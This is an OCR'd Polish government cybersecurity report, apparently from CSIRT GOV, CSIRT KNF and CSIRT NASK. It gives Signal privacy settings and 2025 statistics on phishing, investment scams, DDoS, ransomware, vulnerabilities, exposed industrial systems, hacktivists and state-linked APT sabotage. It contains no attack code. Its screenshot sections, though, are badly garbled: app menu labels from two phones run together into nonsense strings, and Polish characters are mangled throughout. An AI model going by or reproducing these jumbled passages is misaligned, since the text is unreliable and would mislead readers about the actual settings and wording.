(@  Zzniksjgce wiadomosci &
1 osoba
Kolor i tapeta czatu

) Diwigki i powiadormienia +  Dodajosoby

10s0ba t Ty Administrator

+  Dodajoschy

s Ty Admiristrator Link do grupy

=]

& Linkdogrupy Wiyl
*2  Prosby o przyjecie i zaproszenia
B2 Progby o przyigcie | zaproszenia 0

o

Uprawnienia

‘ & Uprawnienia |

iPhone Android

Zapewni to wtasciwy poziom bezpieczenstwa waszej konwersacji oraz umozliwi rozliczalnos¢
wszystkich cztonkéw grupy. Regularnie sprawdzaj czy wszyscy cztonkowie grupy powinni do niej

przynalezec.

Pamietaj - bez wdrozenia tej rekomendacji, przy pomocy przejetego konta Signal ktorejkolwiek
osoby w grupie mozna dodawac do tej grupy dodatkowych uzytkownikéw (takze o takich samych nazwach).
W ten sposob mozna uzyskiwac informacje wymienianie na grupie, nawet wtedy gdy prawowity wtasciciel
konta odzyska do niego dostep. Przejrzyj liste uzytkownikow kont w swoich grupach Signal i zidentyfikuj

nieznane Ci konta. Usun je.
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8. Korzystaj z opcji znikajgce wiadomosci

JUstawienia -> Prywatnosc¢ -> Znikajace wiadomosci”

< Prywatnogé < Prywatnosé

Znikajace wiadomosci

Domyslny czas, po ktérym
Znikajzce wiadomasei 1t wiadomosci znikaja
Ustaw domyslny czas, po ktérym 1t

Ustaw domysiny zas, pa ktarym wiadomoscl znikajg, we znikajg, we wszystkich nowych
wszystkich nowyeh czatach rozpoczetych przez Ciebie
czatach rozpoczetych przez Ciebie

Bezpieczefistwo aplikacji

ﬁ;zf;l;;a: :: pphaksal;gl D Bezpieczeristwo aplikacji
iPhone Android

Spowoduje, ze twoja korespondencja bedzie automatycznie kasowana po zdefiniowanym uptywie
czasu (np. 1godzina, 1dzien, 7 dni).

9. Wtacz Blokade ekranu

,Ustawienia -> Prywatnos¢ -> Blokada ekranu”

< Prywatno$cé & Prywatnosc

odczytane i czy sq wia: y ta opcja jest Wskazniki pisania

wylgczona, nie bedy sig wyswietlad potwierdzenia Jesli wskazniki pisania sa wylaczone, nie o
edczytania Twoich wiadomosei ani wskazniki pisania wyswietlaj sig takze wskazniki pisania

innych osdb. innych oséb,

Znikajace wiadomosci L

Znikajace wiadomosci
Ustaw domyéIny czas, po ktérym wiadomoécl znikala, we

nowych czatach rozpoczetych przez Ciebie.

Domyslny czas, po ktorym
wiadomosci znikajg

5 Wytac
Bezpieczer'!stwo aplikacji Ustaw domysiny czas, po ktérym zf)‘nqe
wiadomogci znikajg, we wszystkich nawych

Ukry] ekran na pasku czatach rozpoczetych przez Ciebie

przetaczania aplikacji D

Blokada ekranu () Bezpieczenstwo aplikacji

. Blokada ekranu
Autoblokada ekranu Natychmiast Wikiciaha

iPhone Android

To dodatkowa warstwa prywatnosci, ktdra chroni dostep do Twoich rozmoéw. Za kazdym razem, gdy

otwierasz Signal (lub po uptywie ustawionego czasu bezczynnosci), aplikacja poprosi Cie o potwierdzenie
tozsamosci.
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Administracja panstwowa dysponuje szeregiem dedykowanych rozwigzan do wymiany informacji
w formie jawnej jak i klauzulowanej. Celem minimalizacji ryzyka przetwarzania wrazliwych informacji
administracji panstwowej w ogdlnodostepnych komunikatorach Zespot CSIRT GOV zacheca do korzystania
m.in. z systemu SKR-Z czy komunikatora mSzyfr opracowanych w ramach funduszy panstwowych.
Systemy te nie sa ogdlnodostepne, a jednoczesnie tworzone sg na podstawie najlepszych praktyk
cyberbezpieczenstwa, minimalizujg ryzyko atakow prdbujgcych wytudzi¢ dane za ich posrednictwem przez

cyberprzestepcow.
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Skala zagrozen w cyberprzestrzeni utrzymuje sie na wysokim poziomie od wielu lat, co znajduje
odzwierciedlenie w danych operacyjnych. W 2025 roku zespét CSIRT KNF zidentyfikowat oraz zgtosit
do blokady 41 751 domen wykorzystywanych do dziatan o charakterze ztosliwym lub potencjalnie

niebezpiecznym.

Cyberprzestepcy konsekwentnie rozwijajg swoje dziatania, korzystajac z coraz bardziej
wyrafinowanych metod oraz technik socjotechnicznych. W szczegdlnosci obserwuje sig elementy presji
czasu, wzbudzania emocji, odwotywania sie do autorytetu instytucji finansowych oraz personalizacji
komunikatow. Czynniki te moga zwigkszac skutecznos¢ kampanii nakierowanych na decyzje uzytkownikow.
W konsekwencji rosnie ryzyko wytudzen danych i srodkow finansowych oraz naruszen bezpieczenstwa

informacji, co uzasadnia potrzebe statego wzmacniania mechanizméw ochronnych i dziatan edukacyjnych.

W 2025 roku jednym z czesciej identyfikowanych zagrozen byty oszustwa zwigzane z rzekomymi
ofertami inwestycyjnymi. Tresci te byty rozpowszechniane przede wszystkim za posrednictwem reklam
publikowanych w mediach spotecznosciowych, wyszukiwarkach internetowych oraz na wybranych
serwisach WWW. Schemat dziatania tego typu kampanii opiera sie na manipulacji odbiorca i sktadaniu
nieprawdziwych obietnic osiggniecia ponadprzecigetnych zyskow przy rzekomo niskim lub zerowym
poziomie ryzyka. Sprawcy, wykorzystujac atrakcyjne przekazy reklamowe, naktaniajg uzytkownikow do
podejmowania pochopnych decyzji finansowych, czesto odwotujgc sie do narracji szybkiego i tatwego

zysku.

Rownolegle, poza wdrazaniem nowych scenariuszy, cyberprzestepcy doskonalili takze mechanizmy
znane od lat, ktére nadal pozostajg skuteczne w zakresie manipulowania odbiorcami oraz wytudzania
$rodkow finansowych. Ztosliwe tresci byty rozpowszechniane gtownie za posrednictwem wiadomosci SMS
oraz poczty elektronicznej. W komunikatach tych sprawcy podszywali sie m.in. pod instytucje bankowe,
firmy kurierskie, dostawcow energii, popularne sklepy internetowe oraz organy administracji publicznej.
Celem takich dziatan jest naktonienie odbiorcy do przejscia na fatszywa strone internetowa i ujawnienia
wrazliwych danych, w szczegdlnosci poswiadczen do bankowosci elektronicznej lub informacji dotyczacych

kart ptatniczych.

Wsrdd zagrozen wymierzonych w infrastrukture podmiotow rynku finansowego nalezy wskazac
ataki typu DDoS. Charakter czesci obserwowanych dziatan wskazuije, ze incydenty tego rodzaju nie zawsze
ograniczaja sie do krotkotrwatego obnizania dostepnosci ustug, lecz mogg by¢ wykorzystywane rowniez
jako element presji operacyjnej lub dziatanie odwracajace uwage od innych aktywnos$ci prowadzonych

rownolegle.
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Zapewnienie wysokiego poziomu cyberbezpieczenstwa wymaga Scisteji systematycznej wspétpracy
pomiedzy CSIRT GOV, CSIRT KNF oraz innymi podmiotami dziatajgcymi w ramach ustawy o krajowym systemie
cyberbezpieczenstwa. Wspotpraca ta umozliwia lepsze rozumienie zaleznosci pomiedzy incydentami
wystepujacymi w roznych obszarach gospodarki oraz szybsza ocene ich mozliwego wptywu na sektor
finansowy. Ma ona charakter dwustronny: przekazujemy wtasne obserwacje, a jednoczesnie korzystamy

z doswiadczen i wiedzy innych zespotow, co wzmacnia odporno$c catego ekosystemu.

Powyzsze dziatania sg elementem podejscia opartego na wyprzedzajacym reagowaniu. Na biezaco
monitorujemy trendy i istotne incydenty obserwowane globalnie, analizujemy ich potencjalne konsekwencje
dla polskiego rynku finansowego oraz przekazujemy podmiotom sektora informacje umozliwiajace podjecie

dziatan prewencyjnych, jeszcze przed materializacja zagrozen.
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Ransomware

Tak samo, jak w latach poprzednich jednym z najwigkszych zagrozen odnotowanych w szerokim
katalogu podmiotéw byty ataki za pomoca oprogramowania typu ransomware. W ubiegtym roku CSIRT
NASK zarejestrowat rekordowg liczbe prawie 180 incydentow spowodowanych atakami tego typu na
podmioty w Polsce, co oznacza wzrost 0 22% w stosunku do roku poprzedniego. Nalezy podkresli¢, ze
liczha ta wzgledem rzeczywistej liczby zdarzen w kraju jest zanizona, poniewaz wiele podmiotdw nie ma
obowigzku zgtaszania zaistniatych incydentéw. 30 incydentow dotyczyto podmiotdéw z sektora publicznego.
Fundamentalnym problemem pozostaje brak wtasciwego logowania zdarzen w infrastrukturze podmiotu,
co w wielu przypadkach uniemozliwia ustalenie wektora ataku. W analizowanych przypadkach, w celu
uzyskania dostepu do systemu atakujgcy bardzo czesto wykorzystywali dane uwierzytelniajace pozyskane
w nieustalony sposdb, a szkodliwe oprogramowanie byto pobierane i uruchamiane dopiero po wytgczeniu

mechanizmdw bezpieczenstwa.
Podatnosci

CSIRT NASK na biezagco monitoruje podatnosci odkrywane w oprogramowaniu, a nastepnie dokonuje
analizy ryzyka w odniesieniu do polskich uzytkownikdéw. W ramach dziatalnosci jako CVE Numbering Authority
w roku 2025 numer CVE nadano 165 podatnosciom, z czego 8 wynikato z badan wtasnych pracownikow
CERT Polska.

CSIRT NASK na biezaco informuje wtascicieli i administratorow domen o podatnosciach znalezionych
w wykorzystywanym przez nich oprogramowaniu za pomocg powiadomien mailowych oraz komunikatow
w serwisie moje.cert.pl. W 2025 roku w domenach dodanych przez uzytkownikow serwisu wykrylismy
531206 podatnosci, z czego 21258 stanowity podatnosci wysokiego ryzyka. Poinformowali$my uzytkownikow

rowniez o 3914212 wyciekach haset do kont w ich domenach.
Urzadzenia OT

Dzieki rozwojowi systemu Snitch na przestrzeni roku 2025 udato sig zredukowac liczbe instanciji
VNC zabezpieczonych trywialnym hastem lub w ogdle niewymagajacych uwierzytelnienia z 810 do 412.
Wsrdd najliczniej wystepujacych w Polsce systemdw ICS/OT narazonych na ataki dominuja S7 (Siemens
PLC), BACnet, Codesys i Modbus ze $rednig liczbg ponad 100 adresow IP dziennie. W sumie wykrywano
Srednio dziennie okoto 700 adresow IP zwigzanych z podatnymi systemami. Liczba powiadomien wystanych

w minionym roku wzrosta 0 90% w stosunku do roku poprzedniego.
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Haktywizm

Wcigz aktywne pozostajg prorosyjskie grupy haktywistyczne. Gtownym celem atakow wcigz
zdaje sie byc osiggniecie rozgtosu medialnego, a nie faktyczny paraliz celu. Nowoscig sg ataki na systemy
automatyki przemystowej udostepniane przez protokoty pulpitéw zdalnych i chronione trywialnymi
hastami. Ataki nie doprowadzity do powaznych i trwatych skutkdw, jednak zawsze przedstawiane sg jako
spektakularny sukces. Coraz czesciej atakujacy informuja o atakach na instalacje, ktdrych sabotaz bedzie

miat znikomy wptyw na spoteczenstwo, na przyktad mate myjnie samochodowe czy automatyke domowa.
Aktywnos¢ grup APT

W 2025 roku CSIRT NASK zaobserwowat wyrazng intensyfikacje dziatan grup APT powigzanych
z panstwami, ktore prowadzity wieloetapowe operacje wymierzone w instytucje publiczne, prywatne oraz
osoby fizyczne powigzane z zyciem politycznym lub naukowym. Ataki te obejmowaty szeroki wachlarz
technik, takich jak kampanie phishingowe ukierunkowane na przejecie dostepu do skrzynek pocztowych,
dystrybucja ztosliwego oprogramowania, wykorzystywanie krytycznych podatnosci oraz dziatania
dezinformacyjne majace na celu polaryzacje spoteczenstwa i wptyw na procesy polityczne. Pod koniec
2025 roku CSIRT NASK odnotowat pierwsze w historii skoordynowane ataki o charakterze sabotazowym
wymierzone w sektor energii, obejmujgce m.in. farmy wiatrowe, fotowoltaiczne oraz duza elektrocieptownie.
Mimo ze dziatania te dotknety zaréwno systemow IT, jak i OT, nie doprowadzity do przerwania dostaw

energii ani ciepta.
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